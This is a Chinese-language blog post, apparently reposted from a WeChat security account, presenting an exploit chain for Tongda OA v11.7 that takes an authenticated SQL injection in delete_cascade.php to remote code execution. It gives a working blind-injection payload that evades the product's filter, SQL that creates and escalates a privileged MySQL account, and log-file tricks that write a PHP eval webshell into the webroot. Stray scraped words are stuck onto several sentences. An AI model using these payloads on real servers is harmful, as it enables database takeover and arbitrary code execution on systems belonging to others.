通達OA v11.7後臺SQL注入到RCE[0day]

Author: AdminTonyphp


1.測試環境

測試版本:通達OA v11.7版本css

限制條件:須要帳號登陸mysql

2.代碼審計發現注入

注入出如今general/hr/manage/query/delete_cascade.php文件中,代碼實現以下:web

首先判斷$condition_cascade是否爲空,若是不爲空,則將其中的\'替換爲'。爲何要這樣替換呢,主要是由於V11.7版本中,註冊變量時考慮了安全問題,將用戶輸入的字符用addslashes函數進行保護,以下:sql

inc/common.inc.php代碼shell

由於是無回顯機制,是盲注,因此嘗試(select 1 from (select sleep(5))a),結果沒那麼簡單:數據庫

觸發了通達OA的過濾機制,翻看代碼,在inc/conn.php文件中找到過濾機制以下:api

其過濾了一些字符,可是並不是沒法繞過,盲注的核心是:substr、if等函數,均未被過濾,因此仍是有機會的。安全

傳入錯誤的SQL語句時,頁面出錯:微信

那麼只要構造MySQL報錯便可配合if函數進行盲注了,翻看局外人師傅在補天白帽大會上的分享,發現power(9999,99)也可使數據庫報錯,因此構造語句:

select if((substr(user(),1,1)='r'),1,power(9999,99)) # 當字符相等時,不報錯,錯誤時報錯

3.構造利用鏈

  • 添加用戶:

grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION

而後該用戶是對mysql數據庫擁有全部權限的,而後給本身加權限:

UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('at666' AS Binary(5));

而後用注入點刷新權限,由於該用戶是沒有刷新權限的權限的:general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;這樣就擁有了全部權限。再次登陸:

提示這個,或者讓改密碼死活改不了。再執行一下

grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@1
23' WITH GRANT OPTION

便可。

  • 寫shell:

# 查路徑:select @@basedir; # c:\td0a117\mysql5\,那麼web目錄就是c:\td0a117\webroot\# 方法1:set global slow_query_log=on;set global slow_query_log_file='C:/td0a117/webroot/tony.php';select '<?php eval($_POST[x]);?>' or sleep(11);# 方法2:set global general_log = on;set global general_log_file = 'C:/td0a117/webroot/tony2.php';select '<?php eval($_POST[x]);?>';show variables like '%general%';


怕什麼真理無窮,進一寸有進一寸的歡喜

本文分享自微信公衆號 - 一個安全研究員(sec_tntaxin)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索